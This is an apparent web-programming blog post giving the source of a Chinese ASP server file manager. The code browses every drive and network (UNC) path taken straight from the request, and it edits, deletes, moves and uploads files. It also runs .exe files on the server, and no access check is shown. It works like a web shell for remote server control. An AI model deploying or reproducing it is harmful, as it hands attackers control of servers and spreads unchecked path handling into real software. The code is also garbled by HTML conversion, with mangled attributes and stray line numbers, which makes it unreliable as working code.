文件的读出 编辑 管理

 1   
 2urlpath="http://"&Request.ServerVariables("SERVER_NAME")   
 3dim cpath,lpath   
 4set fsoBrowse=CreateObject("Scripting.FileSystemObject")   
 5if Request("path")="" then   
 6lpath="/"   
 7else   
 8lpath=Request("path")&"/"   
 9end if   
10if Request("attrib")="true" then   
11cpath=lpath   
12attrib="true"   
13else   
14cpath=Server.MapPath(lpath)   
15attrib=""   
16end if   
17Sub GetFolder()   
18dim theFolder,theSubFolders   
19if fsoBrowse.FolderExists(cpath)then   
20Set theFolder=fsoBrowse.GetFolder(cpath)   
21Set theSubFolders=theFolder.SubFolders   
22Response.write"

<a href='list.asp?path="&amp;Request("oldpath")&amp;"&amp;attrib="&amp;attrib&amp;"'><font color="#FF8000">■</font>↑<font color="ff2222">回上级目录</font></a>

<br/>

1"   
2Response.write"

<table border="0" cellpadding="0" width="100%">"
For Each x In theSubFolders
Response.write"<tr><td width="50%"><a href='list.asp?path="&amp;lpath&amp;x.Name&amp;"&amp;oldpath="&amp;Request("path")&amp;"&amp;attrib="&amp;attrib&amp;"'>└<font color="#FF8000">■</font> "&amp;x.Name&amp;"</a> </td>"
Response.Write "<td><a ""="" "&aim="floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');" &="" href="#" onclick="javascript:window.open('delete.asp?sPath=&quot;" server.urlencode(lpath)="" server.urlencode(x.name)=""><font color="#FF8000">×</font>删除</a></td>"
Response.Write "<td><a ""="" "&aim="floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');" &="" href="#" onclick="javascript:window.open('move.asp?sPath=&quot;" server.urlencode(lpath)="" server.urlencode(x.name)=""><font color="#FF8000">×</font>移改</a></td>"
Response.Write "<td><a ""="" "&aim="floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');" &="" href="#" onclick="javascript:window.open('copy.asp?sPath=&quot;" server.urlencode(lpath)="" server.urlencode(x.name)=""><font color="#FF8000">×</font>复制</a><br/></td></tr>"
Next
Response.Write "</table>

 1"   
 2end if   
 3End Sub   
 4  
 5Sub GetFile()   
 6dim theFiles   
 7if fsoBrowse.FolderExists(cpath)then   
 8Set theFolder=fsoBrowse.GetFolder(cpath)   
 9Set theFiles=theFolder.Files   
10Response.write"

<table border="0" cellpadding="0" width="100%">"
For Each x In theFiles
if Request("attrib")="true" then
showstring="<strong>"&amp;x.Name&amp;"</strong>"
else
showstring="<a href="#" onclick="javascript:window.open('&quot;&amp;urlpath&amp;lpath&amp;server.urlencode(x.Name)&amp;&quot;','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><strong>"&amp;x.Name&amp;"</strong></a>"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&amp;"<td width="10%"><a href="#" onclick="javascript:window.open('fileop.asp?filename=&quot;&amp;lpath&amp;x.name&amp;&quot;&amp;action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><font color="red">执行</font></a></td>"
else
showstring=showstring&amp;"<td width="10%"></td>"
end if
Response.write"<tr><td width="20%"><font color="#FF8000">□</font>"&amp;showstring&amp;"<td align="right" width="15%">"&amp;x.size&amp;"字节</td><td width="45%"><a href="#" title='"&amp;"类型:"&amp;x.type&amp;chr(10)&amp;"属性:"&amp;x.Attributes&amp;chr(10)&amp;"时间:"&amp;x.DateLastModified&amp;"'><font color="#FF8000">?</font>属性</a><a href="#" onclick="javascript:window.open('view.asp?path=&quot;&amp;server.urlencode(lpath)&amp;server.urlencode(x.Name)&amp;&quot;&amp;attrib=&quot;&amp;attrib&amp;&quot;','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><font color="#FF8000">∝</font>查看</a><a href="#" onclick="javascript:window.open('edit.asp?path=&quot;&amp;server.urlencode(lpath)&amp;server.urlencode(x.Name)&amp;&quot;&amp;attrib=&quot;&amp;attrib&amp;&quot;','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><font color="#FF8000">∝</font>编辑</a><a href="#" onclick="javascript:window.open('edit.asp?path=&quot;&amp;server.urlencode(lpath)&amp;server.urlencode(x.Name)&amp;&quot;&amp;op=del&amp;attrib=&quot;&amp;attrib&amp;&quot;','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><font color="#FF8000">×</font>删除</a><a ""="" "&aim="files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');" &="" href="#" onclick="javascript:window.open('copy.asp?sPath=&quot;" server.urlencode(lpath)="" server.urlencode(x.name)=""><font color="#FF8000">+</font>复制</a><a href="#" onclick="javascript:window.open('move.asp?sPath=&quot;&amp;server.urlencode(lpath)&amp;server.urlencode(x.Name)&amp;&quot;&amp;aim=files&quot;&amp;&quot;','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');"><font color="#FF8000">+</font>移动</a></td></td></tr>"
Next
end if
Response.write"</table>

1"   
2End Sub   
  1<html>
  2<head>
  3<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
  4<title></title>
  5<meta content="Microsoft FrontPage 3.0" name="GENERATOR"/>
  6<style>   
  7<!--   
  8table{ font-family: 宋体; font-size: 9pt }   
  9a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }   
 10a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }   
 11a:visited{ color: rgb(128,0,0) }   
 12\-->   
 13</style>
 14</head>
 15<script language="JavaScript">   
 16function crfile(ls)   
 17{if (ls==""){alert("请输入文件名!");}   
 18else {window.open('edit.asp?attrib=```
 19=request("attrib")
 20```&creat=yes&path=```
 21=lpath
 22```'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}   
 23return false;   
 24}   
 25function crdir(ls)   
 26{if (ls==""){alert("请输入文件名!");}   
 27else {window.open('edir.asp?attrib=```
 28=request("attrib")
 29```&op=creat&path=```
 30=lpath
 31```'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}   
 32return false;   
 33}   
 34</script>
 35<script language="vbscript">   
 36sub rmdir(ls)   
 37if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then   
 38window.open("edir.asp?path="&ls&"&op=del&attrib=```
 39=request("attrib")
 40```")   
 41end if   
 42end sub   
 43sub copyfile(sfile)   
 44dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")   
 45dfile=trim(dfile)   
 46attrib="```
 47=request("attrib")
 48```"   
 49if dfile<>"" then   
 50if InStr(dfile,":") or InStr(dfile,"/")=1 then   
 51lp=""   
 52if InStr(dfile,":") and attrib<>"true" then   
 53alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"   
 54exit sub   
 55end if   
 56else   
 57lp="```
 58=lpath
 59```"   
 60end if   
 61window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)   
 62else   
 63alert"您没有输入文件名!"   
 64end If   
 65end sub   
 66</script>
 67<body>
 68<table border="1" bordercolordark="#FFFFFF" bordercolorlight="#000000" cellpadding="0" cellspacing="0" height="81" width="100%">
 69<tr>
 70<td bgcolor="#C0C0C0" colspan="2" width="100%">※切换到相应盘符:<span style="background-color: rgb(255,255,255);color:rgb(255,0,0)">```
 71   
 72For Each thing in fsoBrowse.Drives   
 73Response.write "◎&lt;a href='list.asp?path="&amp;amp;thing.DriveLetter&amp;amp;":&amp;amp;attrib=true'&gt;"&amp;amp;thing.DriveLetter&amp;amp;":&lt;/a&gt;"   
 74NEXT   
 75
 76``` </span><br/>   
 77[如果该盘在服务器上不存在,那么将不显示东西,你也可以更URL上的PATH值换换到其它路径上,支持局域网地址,如:"\\\pc01\c"]</td>
 78</tr>
 79<tr>
 80<td bgcolor="#C0C0C0" colspan="2" width="100%">※```
 81   
 82if Request("attrib")="true" then   
 83response.write "&lt;a href="list.asp"&gt;切换到相对路径编辑模式&lt;/a&gt;"   
 84else   
 85response.write "&lt;a href="list.asp?attrib=true"&gt;切换到绝对路径编辑模式&lt;/a&gt;"   
 86end if   
 87
 88```  ※绝对路径:<span style="background-color: rgb(255,255,255)">```
 89=cpath
 90```</span></td>
 91</tr>
 92<tr>
 93<td bgcolor="#C0C0C0" colspan="2" width="100%">※当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)">```
 94=lpath
 95```</span> <br/>   
 96※上传文件到当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><a =server.urlencode(cpath)="" ```="" href="../upfilein.asp?filepath=```" target="_blank">上传文件(文件大小最好不要超过500K)</a></span>
 97</td>
 98</tr><form name="newfile" onsubmit="return crfile(newfile.filename.value);">
 99<tr><td bgcolor="#C0C0C0" colspan="2">〖文件〗 注:只允许文本编辑|<input name="filename" size="20" type="text"/><input type="submit" value="新建文件"/><input onclick="crdir(newfile.filename.value)" type="button" value="新建目录"/>
100</td>
101</tr></form>
102<tr>
103<td bgcolor="#C8E3FF" valign="top" width="40%">```
104Call GetFolder()
``` Call GetFile() ``````
Published At
Categories with Web编程
Tagged with
comments powered by Disqus